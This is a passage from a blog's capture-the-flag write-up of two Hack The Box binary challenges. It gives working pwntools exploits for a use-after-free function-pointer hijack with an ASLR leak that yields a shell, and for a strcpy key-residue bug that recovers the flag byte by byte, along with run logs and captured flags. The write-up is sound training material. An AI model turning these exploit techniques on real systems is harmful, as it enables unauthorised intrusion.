    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'

6.4 Vulnerability + Exploitation explanation

As we see from the security setting, we know that ASLR exists for this binary. Thus, we have to leak a function’s address. It took me a while before I realized that we can leak the printStorage()‘s address. Note that in printStorage(), storage.weapons (first 0x48 bytes of storage) is printed. storage.weapons contains a string that is NULL terminated. Since the program uses %s, it will print until the NULL terminator. Therefore, we can pad until the storage[9] so that the address of printStorage() will be printed.

But to overwrite the weapons string in storage while retaining the address of printStorage() in storage[9], we have to utilize use-after-free. This means that we call choose option 4 in menu() to free the heap-based memory on storage and create a heap memory of the same size, 0x50 bytes, so that the same chunk will be given to us.

Below shows an example where I manually leaked printStorage()‘s address.

Once leaked, we can now overwrite storage[9] with unlock_storage() and trigger a call to unlock_storage() while the program thinks it is calling printStorage().

Below shows a summary of the exploitation steps in chronological order:

  • Leak printStorage()‘s address to bypass ASLR
    1. Choose option 4 in menu() to free storage‘s heap chunk.
    2. Choose option 3 in menu() a new heap space of the same size as the original storage‘s chunk to get back the same chunk.
    3. Pad the weapon string in storage until it reaches right before storage[9] where printStorage()‘s address is located.
    4. Choose option 1 in menu() to print storage‘s content where it will print our padding + printStorage()‘s address.
    5. Calculate the x64 ELF binary ASLR base address.
  • Jump to win function (unlock_storage())
    1. Choose option 4 in menu() to free storage‘s heap chunk.
    2. Choose option 3 in menu() a new heap space of the same size as the original storage‘s chunk to get back the same chunk.
    3. Pad the weapon string in storage until it reaches right before storage[9] and write unlock_storage()‘s address to storage[9].
    4. Choose option 1 in menu() to call unlock_storage() while the program thinks it is calling printStorage().

6.5 Craft the exploit + get the flag

Below shows trick_or_deal_exploit.py:

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

r = remote("165.22.119.112", 31220)
#r = process("./trick_or_deal")
elf = ELF("./trick_or_deal")

WEAPONS_STORAGE_SIZE = 0x48


# does freeing of memory and create heap memory on the same location to write content to it
def use_after_free_setup(payload):
	# free heap memory
	r.sendlineafter(b'[*] What do you want to do? ', b'4')

	# to create heap memory on old heap location
	r.sendlineafter(b'[*] What do you want to do? ', b'3')
	r.sendlineafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y')
	# create heap of the same size to get allocated to previously freed heap space
	r.sendlineafter(b'[*] How long do you want your offer to be? ', b'80')
	# write to the heap space. Must check if our payload is just nice length of 80, we don't need b'\n' due to read().
	if len(payload) == 80:
		r.sendafter(b'[*] What can you offer me? ', payload)
	else:
		r.sendlineafter(b'[*] What can you offer me? ', payload)

######################## Bypass ELF binary's ASLR ########################
# pad till before printStorage()'s address. -1 as sendlineafter() will append b'\n'.
padding = b'A' * (WEAPONS_STORAGE_SIZE - 1)
# free heap, create back on the same space and write our padding to it
use_after_free_setup(padding)

# to leak printStorage()'s address so that we can bypass ASLR
r.sendlineafter(b'[*] What do you want to do? ', b'1')
# to ignore the padding values
r.recvuntil(b'AAA\n')
printStorage_addr = u64(r.recvuntil(b' \x1B[1;35m', drop=True).ljust(8, b"\x00"))
log.info("printStorage() address: " + hex(printStorage_addr))

# set the ASLR base address of the ELF binary
elf.address = printStorage_addr - elf.symbols['printStorage']
log.info("ELF base address: " + hex(elf.address))



######################## Jump to win function ########################
# this time round we will overwrite printStorage()'s address with unlock_storage()'s address
padding = b'A' * WEAPONS_STORAGE_SIZE
func_to_be_called = p64(elf.symbols['unlock_storage'])
payload = padding + func_to_be_called
# free heap, create back on the same space and write our padding to it
use_after_free_setup(payload)

# trigger unlock_storage() to be called while program thinks it is calling printStorage()
r.sendlineafter(b'[*] What do you want to do? ', b'1')


r.interactive()

Note that it will take awhile before we obtain a shell as the program used a lot of sleep() which delays our whole exploitation.

kali@kali~$ python3 trick_or_deal_exploit.py
[+] Opening connection to 165.22.119.112 on port 31220: Done
[*] '/home/kali/Desktop/trick_or_deal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
[*] printStorage() address: 0x55bfb44a5be6
[*] ELF base address: 0x55bfb44a5000
[*] Switching to interactive mode

[*] Bruteforcing Storage Access Code . . .

* Storage Door Opened *
$ ls
flag.txt  glibc  ld-2.31.so  libc-2.31.so  trick_or_deal
$ cat flag.txt
HTB{tr1ck1ng_d3al3rz_f0r_fUn_4nd_pr0f1t}

7. Vault-breaker

7.1 Files provided

7.2 Overview

In main(), a menu will be printed for us where we can choose option 1 or 2. Before printing the menu in main(), key_gen() is called.

In key_gen(), we can see that it generates a 0x20 (32) bytes length key and store it in random_key.

In new_key_gen(), we can manually decide what is the length of the new key we would like to generate and the new key will be copied to random_key using strcpy() to “replace” the old key.

I said “replace” because even if we generate a shorter key, some of the original key’s value is still in random_key due to strcpy() functionality where it will terminate where the NULL value is read. Below shows an example of what I mean.

Original key in random_key: 67123456\x00 After setting length of 2 for the new key, value of random_key after strcpy(): 94\x0023456\x00

 In secure_password(), the flag is obtained from flag.txt and the flag value is XORed byte by byte based on the key value. Therefore, the original leftover key’s values will XOR the flag as well.

void __noreturn secure_password()
{
  void *v0; // rsp
  size_t v1; // r12
  void *v2; // rbx
  int v3; // eax
  size_t v4; // rbx
  int i; // [rsp+0h] [rbp-60h] BYREF
  int v6; // [rsp+4h] [rbp-5Ch]
  char *v7; // [rsp+8h] [rbp-58h]
  __int64 v8; // [rsp+10h] [rbp-50h]
  void *s; // [rsp+18h] [rbp-48h]
  FILE *stream; // [rsp+20h] [rbp-40h]
  unsigned __int64 v11; // [rsp+28h] [rbp-38h]

  v11 = __readfsqword(0x28u);
  puts("\x1B[1;34m");
  printf(format, "\x1B[1;34m", "\x1B[1;31m", "\x1B[1;34m");
  v7 = (char *)&unk_1330;
  v6 = 23;
  v8 = 22LL;
  v0 = alloca(32LL);
  s = &i;
  memset(&i, 0, 0x17uLL);
  stream = fopen("flag.txt", "rb");
  if ( !stream )
  {
    fprintf(stderr, "\n%s[-] Error opening flag.txt, contact an Administrator..\n", "\x1B[1;31m");
    exit(21);
  }
  v1 = v6;
  v2 = s;
  v3 = fileno(stream);
  read(v3, v2, v1);
  fclose(stream);
  puts(v7);
  fwrite("\nMaster password for Vault: ", 1uLL, 0x1CuLL, stdout);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen((const char *)s) )
      break;
    putchar(*((_BYTE *)s + i) ^ random_key[i]);
  }
  puts("\n");
  exit(6969);
}

Below shows a fake example where the new key still consists of some of the original key’s values which are used as part of the XOR:

Key: 94\x0023456\x00
Flag: HTB{GGG}
After XOR: AQByDCB{

7.3 Exploitation

If you noticed, the string NULL terminator is copied into random_key which replaced the specific index with 0x00. Note that a flag value XOR with 0x00 gives the original flag value. Therefore, we can do the example below to zero out the whole string in random_key. For optimization purposes, we know the flag has a length of 23 based on secure_password() when reading from flag.txt. Thus can start from length 22 and countdown to 0 when generating a new key in new_key_gen().

The code of it is vault-break_exploit_ideal.py as shown below:

from pwn import *

#context.log_level = "debug"

r = remote("104.248.162.86", 32126)

# to NULL the whole original random string in random_key starting from index 22 to index 0
# this makes random_key == "\x00.....\x00"
for i in range(22, -1, -1):
	r.sendlineafter(b'> ', b'1')
	r.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode())

# get the flag
r.sendlineafter(b'> ', b'2')
r.recvuntil(b'Master password for Vault: ')
flag = r.recvuntil(b'\n')
log.info("Flag: " + str(flag))

r.interactive()

However, the program is very unstable. Some lengths specified in new_key_gen() will cause the program to crash when selecting option 2 in the menu. This can only be solved via restarting the docker/server and another length specified in new_key_gen() will have the issue again. We have no choice but to slowly increment the length and save the “cracked” flag value of what we have, restart the docker once there is an error, and continue from where we left off.

Below shows an example where the program crashes after choosing option 2.

7.4 Crafting the exploit and get the flag

Below shows vault-break_exploit.py I slowly crack byte by byte of the flag and record down what I have cracked before starting the Docker once there is an error.

from pwn import *

#context.log_level = "debug"

flag = "HTB{l4_c454_d3_b0"
flag_len = len(flag)

# to NULL specific byte in incremental order due to unstability of the program on the server
for i in range(flag_len, 23):
	r = remote("104.248.162.86", 32428)
	
	r.sendlineafter(b'> ', b'1')
	r.sendlineafter(b'[*] Length of new password (0-31): ', str(i).encode())
	
	# get the flag
	r.sendlineafter(b'> ', b'2')
	r.recvuntil(b'Master password for Vault: ')
	flag_temp = r.recvuntil(b'\n')
	flag += chr(flag_temp[i])
	log.info("Flag: " + str(flag))
	
	r.close()

kali@kali~$ python3 vault-break_exploit.py
...

kali@kali~$ python3 vault-break_exploit.py
[+] Opening connection to 178.62.73.26 on port 32740: Done
[*] Flag: HTB{l4_c454_d3
[*] Closed connection to 178.62.73.26 port 32740
[+] Opening connection to 178.62.73.26 on port 32740: Done
[*] Flag: HTB{l4_c454_d3_
[*] Closed connection to 178.62.73.26 port 32740
[+] Opening connection to 178.62.73.26 on port 32740: Done
[*] Flag: HTB{l4_c454_d3_b
[*] Closed connection to 178.62.73.26 port 32740
[+] Opening connection to 178.62.73.26 on port 32740: Done
[*] Flag: HTB{l4_c454_d3_b0
[*] Closed connection to 178.62.73.26 port 32740
[+] Opening connection to 178.62.73.26 on port 32740: Done
Traceback (most recent call last):
  File "/home/kali/Desktop/vault-break_exploit.py", line 18, in <module>
    r.recvuntil(b'Master password for Vault: ')
  File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kali/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to 178.62.73.26 port 32740

kali@kali~$ python3 vault-break_exploit.py
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0n
[*] Closed connection to 104.248.162.86 port 32428
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0nN
[*] Closed connection to 104.248.162.86 port 32428
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0nNi
[*] Closed connection to 104.248.162.86 port 32428
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0nNi3
[*] Closed connection to 104.248.162.86 port 32428
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0nNi3}
[*] Closed connection to 104.248.162.86 port 32428
[+] Opening connection to 104.248.162.86 on port 32428: Done
[*] Flag: HTB{l4_c454_d3_b0nNi3}
[*] Closed connection to 104.248.162.86 port 32428

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.